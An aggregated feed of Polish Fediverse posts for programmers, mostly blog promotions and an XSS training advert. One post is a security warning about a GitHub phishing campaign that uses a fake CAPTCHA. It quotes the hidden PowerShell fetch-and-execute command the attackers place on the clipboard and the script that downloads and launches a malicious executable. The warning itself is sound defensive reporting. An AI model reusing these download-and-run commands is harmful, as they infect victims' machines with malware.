#programista — Public Fediverse posts
Live and recent posts from across the Fediverse tagged #programista, aggregated by home.social.
-
Programisto, pentesterze – na chwilę wraca nasz kurs XSS – do poniedziałku 30% taniej!
Najpierw krótko, dla tych którzy znają jakość naszych materiałów edukacyjnych:
tylko do poniedziałku oferujemy wieczysty dostęp do 30 lekcji i wirtualnego środowiska labowego, które nauczy Cię wszystkiego na temat technik wykrywania, exploitowania i usuwania/zwalczania podatności XSS. Kod XSS30 obniża cen — tutaj znajdziecie link od razu do koszyka.
Krótki Internetowy Kurs XSS
A teraz wersja dłuższa: Niezależnie od tego, czy aplikacje tworzysz z użyciem AI czy nie, jednym z najczęstszych błędów jakie pojawiają się w kodzie są “wstrzyknięcia”, głównie JavaScriptu, czyli właśnie XSS-y. No i właśnie tego jak podchodzić do wstrzyknięć (nie tylko JavaScriptowych) z perspektywy zarówno atakującego jak i obrońcy uczy nasz Krótki Internetowy Kurs XSS. Właśnie ponownie otwieramy jego sprzedaż, ale tylko do poniedziałku 10 sierpnia, do 23:59. Jeśli użyjesz kodu XSS30 kupisz go 30% taniej.Kod działa tylko przez tydzień, ale dostęp do nagrań i platformy jest na zawsze. To oznacza, że naukę możesz zacząć nawet za rok, jeśli teraz nie masz czasu. Kupić warto teraz, bo w kolejnym oknie sprzedażowym cena będzie wyższa.
Dzięki temu szkoleniu:nauczysz się jak wykrywać i usuwać podatności XSS (ręcznie i automatycznie)
zrozumiesz, do jak wykorzystać XSS do różnych ataków (naprawdę kreatywnych i strasznych)
dowiesz się jak omijać filtry na wejściu i encoding na wyjściu aplikacji aby wstrzyknąć złośliwy kod
oraz co poprawić, aby przed tymi atakami skutecznie zabezpieczać frontend i backend;
nauczysz się też jak sensownie wdrażać Content Security Policy (bez rozwalania działania [...]#KursXSS #Programista #Programowanie #Szkolenia #SzkoleniaOnline #SzkoleniaPrzezInternet #SzkoleniaZCyberbezpieczeńśtwa #Szkolenie #XSS
-
AI zmienia role programistów – mniej kodowania, więcej kontroli. Według Światowego Forum Ekonomicznego do 2030 r. na świecie znikną 92 mln miejsc pracy, a równocześnie powstanie aż 170 mln nowych. Wśród zawodów o najszybszym tempie wzrostu znajdują się m.in. specjaliści od big data, sztucznej inteligencji, cyberbezpieczeństwa oraz twórcy aplikacji i oprogramowania. https://linuxiarze.pl/ai-zmienia-role-programistow/ #sztucznainteligencja #cybersecurity #programista
-
Uwaga programiści! Ktoś wysyła cwane komunikaty przez GitHuba
Jak informują nas programiści posiadający konto na GitHubie, od wczoraj otrzymują powiadomienia o następującej treści:
fot. przesłana prze z Jana
Hey there!
We have detected a security vulnerability in your repository. Please contact us at https://github-scanner[.]com to get more information on how to fix this issue.
Best regards,
Github Security Team
Powiadomienia są triggerowane przez dodanie (a następnie usunięcie) tzw. “issue” do projektu. Gdzie prowadzi link? Ano do strony, która próbuje na programiście wykonać atak “na CAPTCHA” opisywany przez nas ponad 2 tygodnie temu w ramach CyberAlertu. Ofiara widzi to:Kliknięcie w przycisk na pierwszym ekranie kopiuje do schowka ofiary następującą komendę:
powershell.exe -w hidden -Command "iex (iwr 'https://github-scanner[.]com/download.txt').Content" # "✅ ''I am not a robot - reCAPTCHA Verification ID: XXXXXX"
A zastosowanie się do instrukcji widocznej na kolejnym ekranie uruchamia powyższą komendę, czyli w konsekwencji następujący kod infekujący komputer ofiary złośliwym oprogramowaniem:
$webClient = New-Object System.Net.WebClient
$url1 = "https://github-scanner[.]com/l6E.exe"
$filePath1 = "$env:TEMP\SysSetup.exe"
$webClient.DownloadFile($url1, $filePath1)
Start-Process -FilePath $env:TEMP\SysSetup.exe
Szczerze mówiąc, trochę nas dziwi dobór ofiar. Programiści akurat są świadomi, co robi skrót WIN+R. Z drugiej jednak strony, zainfekować programistę popularnego projektu na GitHubie to jak wygrać w totka…
Na jakie jeszcze ataki powinni uważać programiści?
Jeśli chcesz poznać wszystkie ataki, na które powinni być wyczuleni programiści aplikacji webowych, to wpadnij na nasze szkolenie z “Atakowanie i Ochrony Webaplikacji”. To dwa dni pełne praktyki [...]#Ataki #Captcha #GitHub #Malware #Phishing #Programista #Programowanie #Socjotechnika
https://niebezpiecznik.pl/post/uwaga-programisci-ktos-wysyla-cwane-komunikaty-przez-githuba/
-
Nie da się ukryć, że praca przy biurku na dłuższą metę nie prowadzi do dobrego zdrowia. Warto od czasu do czasu robić sobie przerwy, a także ćwiczyć. Tylko jak ma to robić programista? Oto garść wskazówek.
#programowanie #programista #fitness #ćwiczenia
https://learnhub.top/10-essential-exercises-for-programmers-to-prevent-back-pain/
-
Czy prasa papierowa umiera? Oby nie! 🤞
Coraz trudniej jest mi znaleźć ciekawy, rzetelny i przede wszystkim solidny content online
Mam wrażenie, że teraz wszyscy piszą pod SEO (zamiast pod czytelnika), dodatkowo okraszając wszystko tabloidowymi nagłówkami i "krzyczącymi" miniaturkami z domieszką sponsorowanych treści 💰
2 lata temu porzuciłem nadzieje, że Internet może mi zaoferować solidną publicystykę na temat gier, więc przerzuciłem się na papierową wersję magazynu EDGE. To był strzał w dziesiątke, chociaż tanio nie jest 😔
Kilka miesięcy temu doszedłem do tego samego wniosku jeżeli chodzi o moje hobby, czyli modelarstwo, i tak oto zacząłem kupować magazyn "Super Model" ✈️
A w tym tygodniu postanowiłem nawet spróbować magazynu Programista, ale tutaj jeszcze nie jestem przekonany czy to na pewno to, czego szukam 🤔
A jak to wygląda u was? Czy czytacie jakąś prasę?
#giereczkowo #modelarstwo #edge #supermodel #programista #ksiazki
-
Artykuł bardzo długi, techniczny i sięgający do psychologii, ale może dla niektórych być ważny lub przynajmniej zainteresują się nim. Jest to bowiem swoisty opis działania mózgu programisty i sztuczek, które można wykorzystać przy czytaniu kodu, pisaniu go i współpracy. Ciekawa sprawa.
#programowanie #Programista #psychologia #memory
https://yoan-thirion.gitbook.io/knowledge-base/software-craftsmanship/the-programmers-brain
-
Boom na IT, mimo że pewnie słabszy niż kilka lat temu, nadal jest i wiele osób chce się nauczyć programować. Niekoniecznie dla zarobku, ale dla samego siebie. I oczywiście, zachęcamy do tego - ale czy TRZEBA się uczyć?
#programowanie #programista #początkujący
https://wildasoftware.pl/post/czy-kazdy-musi-umiec-programowac?ref=mastodon
-
Dzisiaj dużo wcześniej, ale taką mam, niestety, konieczność.
Dużo osób chce się uczyć programować, bo... po prostu chce. I super, kibicuję takiej postawie. Ale czy powinniśmy kibicować ekspertom mówiącym "MUSISZ"? No cóż, moim zdaniem nie i o tym dzisiaj piszę. Zapraszam.
#programowanie #programista #początkujący
https://wildasoftware.pl/post/czy-kazdy-musi-umiec-programowac?ref=mastodon
-
Co prawda, święta już za nami, natomiast przecież codziennie są urodziny lub imieniny jakiegoś programisty. Jeśli nie wiemy, co byłoby mu przydatne lub potrzebne, zawsze można zainspirować się takim poradnikiem.
#prezent #programista #poradnik
https://wildasoftware.pl/post/pomysly-prezent-swiateczny-programisty?ref=mastodon
-
Coraz rzadziej, ale jednak nietechnicznym osobom nadal zdarza się mylić kompetencje programistów i administratorów. W związku z tym, przypominamy artykuł, w którym staraliśmy się raz na zawsze wyjaśnić tę kwestię i dodatkowo pokazać, gdzie w tym wszystkim umiejscowiony jest DevOps.
#administrator #programowanie #programista #devops
https://wildasoftware.pl/post/programista-administrator-nie-to-samo?ref=mastodon
-
Artykuły w stylu "co będzie modne w roku X" czasami okazują się typowymi clickbaitami, ale trzeba przyznać, że dobrze podsumowują pewne sprawy. A ten w dodatku jest naprawdę ciekawy, choć w paru momentach dość oczywisty. Warto wiedzieć, co w świecie programistów piszczy jeśli chodzi o podejście.
https://thetechenabler.substack.com/p/software-engineering-practices-you
-
Macie problemy z kupowaniem prezentów? Przyznaję, że ja mam spory. Jeśli macie tak, jak ja, a w dodatku musicie kupić coś osobie parającej się programowaniem, to mam dla Was parę pomysłów.
#prezent #programista #święta #BożeNarodzenie #zakupy #christmas
https://wildasoftware.pl/post/pomysly-prezent-swiateczny-programisty?ref=mastodon
-
Przychodzi taki czas w roku, w którym trzeba zacząć rozglądać się za prezentem dla najbliższych i nie tylko. Czasem jest to łatwe, a czasem - dość trudne, jeśli rzeczywiście chcemy sprawić komuś radość. Nie rozwiążemy za Was tego problemu, ale mamy parę pomysłów na wypadek, gdyby obdarowywana przez Was osoba jest programistą lub programistką. Zapraszamy.
#prezent #programista #święta #BożeNarodzenie #zakupy
https://wildasoftware.pl/post/pomysly-prezent-swiateczny-programisty?ref=mastodon
-
No dobra, programiści i admini, przyznajcie się - jak często mylone były Wasze role? Czy nie macie poczucia, że oczekuje się od Was wszystkiego? Porozmawiamy o tym dzisiaj. Nowy tekst już na blogu.
https://wildasoftware.pl/post/programista-administrator-nie-to-samo?ref=mastodon
-
Szachy są fajne. Nawet, jeśli nie jesteśmy w nie dobrzy, to można przy nich miło spędzić czas. Ale mają też wiele atutów z perspektywy rozwoju człowieka, zwłaszcza młodego. Czy programista może w jakikolwiek sposób skorzystać na grze w szachy? Polecamy nasz artykuł.
https://wildasoftware.pl/post/czy-programista-powinien-grac-szachy-lub-warcaby?ref=mastodon
-
Pytanie od koleżanki, która od pewnego czasu jest w trakcie przebranżawiania się na programistkę - czy znacie kogoś, kto w okolicach #Poznań szuka Junior Java Developera albo chociaż kogoś na staż na tym stanowisku lub podobnym? Mówimy o "świeżaku".
(i tak, szukała na różnych portalach z pracą IT, ta ścieżka nie wypaliła)
-
Mam ochotę rozpocząć programistyczne treści tutaj od czegoś prostego, ale żeby jednocześnie nie było to trywialne.
Opowiem wam dziś o testach jednostkowych.
Czym jest test jednostkowy?
Jak programujesz, możesz w sumie ominąć ten akapit, z definicją unitów spotykasz się nie raz.
Testy jednostkowe (eng. unit tests, pot. unit testy, unity), cyt.
"metoda testowania tworzonego oprogramowania poprzez wykonywanie testów weryfikujących poprawność działania pojedynczych elementów (jednostek) programu" (za Wikipedią).
Jednostką jest funkcja, klasa lub komponent, ogólnie najmniejsza abstrakcja, w której zachodzi jakaś czynność, którą możemy przetestować. Takie testy, aby były dobrze skonstruowane i działały na jednostkach właśnie, muszą działać według konkretnych zasad, ale o tym za chwilkę.Dlaczego akurat zaczynam od testów?
Uwielbiam pisać unit testy, uwielbiam widzieć w projekcie dobrze napisane unit testy. Wprowadzam unity do każdego projektu w którym się znajdę, a jednocześnie bardzo nie lubię narzędzi do automatycznego mockowania - ot taka ze mnie konserwa.
I chciałabym wam opowiedzieć troszeczkę o tym, jak dobrze unity pisać.Chciałabym przygotować serię postów dotyczących unit testów, zgodnie z poniższym planem:
0. Wprowadzenie (właśnie je czytacie).
1. Trochę słownictwa i definicji, abyśmy swobodnie mogli rozmawiać o...
2 - 6. Akronim FIRST - czyli jakich zasad powinniśmy się trzymać aby pisać dobre jakościowo (czyli użyteczne i efektywne) unit testy. Na praktycznych przykładach z użyciem frameworka jest.
7. Trochę o udawaniu czyli "mokach", "stabach" i "spajach".
8 i dalej - zobaczymy :)Zależnie od tego, co was będzie interesować, czy wolicie backend czy frontend, możemy przejść w testy ui - snapshoty i storybook, w inne rodzaje testów...
Dajcie znać, czy pomysł na serię wam się podoba i czy w proponowanych tematach czegoś wam brakuje!
Pozdrawiam,
Wasza Kapitanka#programowanie #programista #programming #coding #unittesting #jest #unitseries
-
Witajcie użytkownicy Mastodona. Chciałbym wam zaprezentować prawdopodobnie pierwszego polskiego bota na Mastodonie, @Polskieslowa ! Będzie on wysyłać jakieś polskie słowo co 30 minut (oczywiście w kolejności alfabetycznej). O i, jeżeli będziecie chcieli, to będę mógł zmniejszyć czas :) #programming #python #word #programista #bot
